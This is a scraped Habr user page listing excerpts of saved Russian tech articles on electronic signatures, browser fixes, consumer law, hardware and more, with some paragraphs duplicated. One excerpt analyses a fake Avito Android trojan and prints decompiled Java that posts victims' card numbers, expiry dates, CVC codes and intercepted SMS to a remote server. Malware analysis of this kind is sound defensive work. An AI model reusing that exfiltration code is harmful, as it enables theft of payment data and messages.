В первой части мы разобрали, что такое квалифицированная электронная подпись физического лица, как получить ключи для генерирования этой подписи, а также сертификат для ее верификации. В этом топике я предложу инструмент для генерирования подписи и опишу проблемы, с которыми я столкнулся. Если кому-то не интересно технарство – добро пожаловать в самый конец топика, где выложены файлы проекта.
Дмитрий @Semisonic
Пользователь
Электронная подпись физического лица (часть 1)
6 мин
59KЯ расскажу о Федеральном законе от 6 апреля 2011 г. N63-ФЗ «Об электронной подписи»: что он, зачем он, а главное, как обывателю его использовать. Рассмотрю проблемы, с которыми я столкнулся, и их решения. Этот пост направлен больше в сторону социума, поэтому для технарей будет присутствовать некая избыточная информация.
+64
Постоянно отваливается Flash Plugin в Google Chrome? Есть решение!
3 мин
608KПреамбула.
Настигло меня некоторое время назад горе. После посещения сайтов и страничек, с повышенной концентрацией флэш-контента, с жалобой на флэш-плагин, стал валиться Хром, внезапно, капитально и беспощадно. Перезапуск Хрома не спасал, требовался полный ребут системы.
Надо заметить, что Хром я люблю и пользую для динамического контента, вроде Ютуба и всего флэш- и js- содержащего (по совершенно очевидным причинам).
Лень-матушка убеждала не придавать этому значения. Но каждый ребут для меня — это целое событие, т.к. открыт десятки, если не сотни, вкладок, запущены десятки программ. Уж такой у меня образ жизни. Поэтому ребут — весьма нежелательное событие.
Настал тот миг, когда терпение моё лопнуло, и я решил разобраться с этой проблемой. Поставить в этой истории точку.
Решение, к слову сказать, оказалось довольно простым, и, одновременно, действенным.
Настигло меня некоторое время назад горе. После посещения сайтов и страничек, с повышенной концентрацией флэш-контента, с жалобой на флэш-плагин, стал валиться Хром, внезапно, капитально и беспощадно. Перезапуск Хрома не спасал, требовался полный ребут системы.
Надо заметить, что Хром я люблю и пользую для динамического контента, вроде Ютуба и всего флэш- и js- содержащего (по совершенно очевидным причинам).
Лень-матушка убеждала не придавать этому значения. Но каждый ребут для меня — это целое событие, т.к. открыт десятки, если не сотни, вкладок, запущены десятки программ. Уж такой у меня образ жизни. Поэтому ребут — весьма нежелательное событие.
Настал тот миг, когда терпение моё лопнуло, и я решил разобраться с этой проблемой. Поставить в этой истории точку.
Решение, к слову сказать, оказалось довольно простым, и, одновременно, действенным.
+29
Ускорение загрузки Windows for fun and profit
4 мин
811K
Про то, почему отключение pagefile-а скорее вредно, чем полезно — как нибудь в другой раз, а пока…
+501
Переход с Google Maps на OpenStreetMap
2 мин
32KВ нашем проекте так сложилось, что мы для нашей гео-вики стали использовать OSM а не GM. В ходе написания мобильного клиента под андроид был использован стандартный компонент MapView. Но, в ходе тестирования выявились расхождения в координатах OSM и GM, которые, в некоторых случаях, достигали 30 метров. Таким образом было решено переходить с карт гугла на OSM для чего и была найдена соответствующая библиотека osmdroid. О том, как переехать на эту библиотеку, расскажу под катом.
+21
Я хочу работать в Google! Телефонное интервью (часть 1)
4 мин
31KПривет Хабр! Давно не писал. Да это и понятно. Защита диссертации, получение PhD, а сейчас ещё и активный поиск работы — всё это занимает очень много драгоценного времени. Но разговор сегодня пойдёт не о том. Хотелось бы поделиться с Вами, уважаемые хабралюди, ресурсами и описанием процесса подготовки к телефонному техническому интервью с Гуглом, первый технический этап которого я уже прошёл, и теперь готовлюсь ко второму, который будет в пятницу.
+157
Профсоюз работников связи претендует на 0.3% от фонда зарплаты всех ИТ-компаний
2 мин
4.6KДело Михалкова жило, живет и будет жить. В общем дожили. Буквально через пару недель все ИТ-компании, не подсуетившиеся вовремя, будут обязаны платить оброк в 0.3% никому неизвестному профсоюзу работников связи (см. важный апдейт ниже).
+91
Немецкое правительство выложило все законы на гитхаб в machine-readable формате
1 мин
6.8K
github.com/bundestag/gesetze
Все законы можно найти в формате Markdown. Теперь граждане страны могут получать доступ к самым свежим текстам законов и отслеживать изменения.
Можно делать pull-реквесты, но только законы, которые одобрены голосованием в бундестаге, будут приняты…
/via news.ycombinator.com/item?id=4353389
+102
Как я выиграл суд с EMS Почта России
10 мин
204KКак я выиграл суд с EMS.
Итак, как было обещано в вопросе habrahabr.ru/qa/19545, я публикую свой опыт по подаче иска к «EMS – Почта России», который завершился положительно для меня. Впрочем, обо всем по порядку.
Big Update — сегодня, 6.03.2013 получил деньги. Кафкианский процесс завершен. Ура!
Итак, как было обещано в вопросе habrahabr.ru/qa/19545, я публикую свой опыт по подаче иска к «EMS – Почта России», который завершился положительно для меня. Впрочем, обо всем по порядку.
Big Update — сегодня, 6.03.2013 получил деньги. Кафкианский процесс завершен. Ура!
+445
Тысяча чертей! Потребитель? Защищайтесь!
5 мин
16KТак уж сложилось, что законодательство РФ в большинстве своем далеко от совершенства. Противоречит само себе, множественно трактуется и вообще сложновато для восприятия.
Но есть луч света в темном царстве!
Закон о защите прав потребителя. Замечательная штука, поверьте. При прокачанном скиле использования данного закона можно стать настоящим потреб. террористом. Это, кстати, полуофициальный термин — так называют людей, намеренно злоупотребляющих широкими возможностями, которые предоставляются вышеупомянутым законом.
Итак! На что вы имеете право!
По просьбе NermaN я попробую составить мануал, как и что.
Но есть луч света в темном царстве!
Закон о защите прав потребителя. Замечательная штука, поверьте. При прокачанном скиле использования данного закона можно стать настоящим потреб. террористом. Это, кстати, полуофициальный термин — так называют людей, намеренно злоупотребляющих широкими возможностями, которые предоставляются вышеупомянутым законом.
Итак! На что вы имеете право!
По просьбе NermaN я попробую составить мануал, как и что.
+65
Окончательный дизайн схемы Raspberry Pi
1 мин
8.7K
За месяц до начала продаж мини-компьютера Raspberry Pi стоимостью $25 разработчики опубликовали окончательную схему устройства. Сейчас разработка вышла на финишную прямую, через считанные дни начнутся первые тесты, и если пройдут без ошибок — плату отправят в тираж.
+65
Как я позорно деактивировал ботнет
10 мин
191K
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.
Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.
Исследование APK
Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.
Итак, что умеет этот троян:
- delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
- sent&&& — отправка заданных СМС-сообщений с сервера
- rent&&& — перехват всех СМС-сообщений и отправка их на сервер
- sms_stop&&& — отмена перехвата СМС-сообщений
- ussd&&& — USSD-запрос
- call_1&&& — установка и отмена безусловной переадресации
Немного кода из моих заметок
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
arraylist.add(new BasicNameValuePair("number", b));
arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("set_card.php").toString());
}
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("get.php").toString());
}
protected HttpRequestBase a()
{
try
{
JSONObject jsonobject = new JSONObject();
jsonobject.put("text", c);
jsonobject.put("number", d);
jsonobject.put("date", e);
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
catch(JSONException jsonexception)
{
jsonexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
+356
Как была взломана Gamma International
12 мин
87K
3 августа в сабреддите /r/Anarchism некто пользователь PhineasFisher создал тред, в котором сообщил о том, что ему удалось украсть 40 гигабайт различных данных компании Gamma International. Возможно, подобная история могла оказаться не столь громкой, если бы не бизнес, которым занимается эта европейская фирма — создание и продажа программных средств для взлома и скрытой слежки (а иными словами — самой настоящей малвари), заказчиками которых обычно выступали государственные структуры. Через несколько дней после первого сообщения взломщик выложил длинный рассказ о том, как ему удалось проникнуть на сервера Gamma International и что удалось там найти.
+105
Shopozz.com — бесплатный mail forwarding в США
4 мин
31KВместо предисловия
Mail forwarding — почтовое перенаправление товаров из любых интернет-магазинов/аукционов из страны-отправителя (в данном случае — США) до адреса получателя. Процесс актуален для самостоятельных покупок за рубежом.
Услугами сервисов-mail forwarder'ов пользуются как минимум по двум причинам:
- не все интернет-магазины/продавцы с eBay и прочих аукционов/торговых площадок отправляют товары в страну покупателя;
- за определенную комиссию клиенты могут собрать на складе таких сервисов несколько товаров из разных интернет-магазинов, объединить их в одну посылку, отправить на свой адрес и сэкономить, тем самым, значительную сумму на доставке товаров.
Вводная часть
Shopozz.com — это абсолютно бесплатный сервис услуг мейл-форвардинга (mail forwarding, MF, виртуальный адрес для самостоятельных покупок) товаров из любых интернет-магазинов и с аукционов США.

Упомянутый сервис принадлежит компании Shopozz CORP, которая с 2005 года осуществляет доставку товаров из США, Японии, Китая и Европы в любую точку Земли, одновременно предоставляя услуги «Помощь в покупке» и «Виртуальный адрес в США» посредством ресурса Shopozz.ru.
1 июля 2014 года мы выделили услугу MF в отдельный сервис, который теперь доступен по адресу Shopozz.com.
Сегодня сервис покупок за рубежом Shopozz насчитывает более 200 000 клиентов. Мы создали удобные и, что немаловажно, выгодные для использования веб-сервисы, наладили международную транспортировку товаров за минимальные сроки, автоматизировали работу всех складов, что позволяет обрабатывать заказы крайне оперативно.
Немного о тарифах
Сутью перемен и, собственно, делегирования виртуального адреса на отдельный домен послужила, в первую очередь, новая тарифная политика, которая отныне состоит в следующем:
- предоставление виртуального адреса в США — $0;
- входящая MF — $0;
- пересылка одной посылки — $0;
- консолидация нескольких MF в одну посылку — $0;
- заполнение таможенной декларации — $0.
Используя аналитические функции мозга по минимуму, можно придти к верному выводу, что весь основной набор услуг склада в США предоставляется абсолютно бесплатно, правда, за исключением ряда дополнительных услуг, без использования которых результат остается прежним — вы получаете посылку курьером, либо в ближайшем отделении Почты России без лишних затрат.
Когнитивный диссонанс как уникальное торговое предложение (УТП)
Упоминая в суе Почту России, сознание невольно рисует картины разбившегося планшета или утерянных посылок. Но, как ни крути, сегодня УФПС демонстрирует активный курс на модернизацию и перемены. Последние несколько месяцев интернет-сообщество активно обсуждает такие инициативы, как тендер госкомпании на создание мобильного приложения за 19 миллионов рублей, полмиллиарда инвестиций в Единый call-центр, а также возможность подтверждения регистрации на интернет-портале госуслуг через отделения Почты России.
+18
Коммунальный рай без забот и хлопот
7 мин
45K
+92
Защита подъезда методом организации разумного видеонаблюдения без консьержа
13 мин
261K
Вот только двери легко открываются при малейшей ошибке их производства, многие домофоны подвержены ключам-«вездеходам», консьержки часто спят и ничего не делают, а видеонаблюдение за которым никто не наблюдает превращается в бесполезную трату денег. В результате, почти все попытки улучшить общественную ситуацию зарезаются соседями методом слонёнка: «а нафига они нам нужны».
Однако, если включить мозги и подумать, на самом деле можно весьма небольшими вложениями получить очень эффективный результат.
+290
Cubietruck. Уютный, домашний сервер
11 мин
178KТуториал

Недавно купил вот такую красоту.
Поигрался с Android на ней и решил сделать домашний сервер на замену RaspberryPI.
+58
30 полезных сервисов для веб-разработчика
2 мин
163KРешил собрать сервисы, которые могут быть полезны веб-разработчикам и дизайнерам. Буду рад, если кто-то найдет для себя полезный сервис. Осторожно, под катом куча картинок!
+132
Что такое Томита-парсер, как Яндекс с его помощью понимает естественный язык, и как вы с его помощью сможете извлекать факты из текстов
6 мин
89KМечта о том, чтобы машина понимала человеческий язык, завладела умами еще когда компьютеры были большими, а их производительность – маленькой. Главная проблема на пути к этому заключается в том, что грамматика и семантика естественных языков слабо поддаются формализации. Кроме того, от языков программирования их отличает присутствие многозначности.
Конечно, мечта о полноценной коммуникации с компьютером на естественном языке пока еще далека от полноценной реализации примерно настолько же, как и мечта об искусственном интеллекте. Однако некоторые результаты есть уже сейчас: машину можно научить находить нужные объекты в тексте на естественном языке, находить между ними связи и представлять необходимые данные в формализованном виде для дальнейшей обработки. В Яндексе уже достаточно давно применяется такая технология. Например, если вам придет письмо с предложением о встрече в определенном месте и в определенное время, специальный алгоритм самостоятельно извлечет нужные данные и предложит внести ее в календарь.

Вскоре мы планируем отдать эту технологию в open source, чтобы любой мог пользоваться ей и развивать ее, приближая тем самым светлое будущее свободного общения между человеком и компьютером. Подготовка к открытию исходных кодов уже началась, но процесс этот не такой быстрый, как нам бы хотелось, и, скорее всего, продлится до конца этого года. За это время мы постараемся как можно больше рассказать о своем продукте, для чего запускаем серию постов, в рамках которой расскажем об устройстве инструмента и принципах работы с ним.
Называется технология Томита-парсер, и по большому счету, любой желающий может воспользоваться ей уже сейчас: бинарные файлы доступны для скачивания. Однако прежде чем пользоваться технологией, нужно научиться ее правильно готовить.
Конечно, мечта о полноценной коммуникации с компьютером на естественном языке пока еще далека от полноценной реализации примерно настолько же, как и мечта об искусственном интеллекте. Однако некоторые результаты есть уже сейчас: машину можно научить находить нужные объекты в тексте на естественном языке, находить между ними связи и представлять необходимые данные в формализованном виде для дальнейшей обработки. В Яндексе уже достаточно давно применяется такая технология. Например, если вам придет письмо с предложением о встрече в определенном месте и в определенное время, специальный алгоритм самостоятельно извлечет нужные данные и предложит внести ее в календарь.

Вскоре мы планируем отдать эту технологию в open source, чтобы любой мог пользоваться ей и развивать ее, приближая тем самым светлое будущее свободного общения между человеком и компьютером. Подготовка к открытию исходных кодов уже началась, но процесс этот не такой быстрый, как нам бы хотелось, и, скорее всего, продлится до конца этого года. За это время мы постараемся как можно больше рассказать о своем продукте, для чего запускаем серию постов, в рамках которой расскажем об устройстве инструмента и принципах работы с ним.
Называется технология Томита-парсер, и по большому счету, любой желающий может воспользоваться ей уже сейчас: бинарные файлы доступны для скачивания. Однако прежде чем пользоваться технологией, нужно научиться ее правильно готовить.
+142
Node.js vs Ruby on Rails
6 мин
52KПеревод
Node.js vs Ruby on Rails
В отличие от большинства разработчиков, я начинал с баловства с Node.js, и уже после погрузился в Ruby on Rails с помощью восхитительного курса Rails for Zombies и, затем, учебника по Ruby on Rails от Michael Hartl.
Все, что написано далее, есть ненаучное сравнение Node.js и Ruby on Rails.
+6
Информация
- В рейтинге
- Не участвует
- Откуда
- Санкт-Петербург, Санкт-Петербург и область, Россия
- Зарегистрирован
- Активность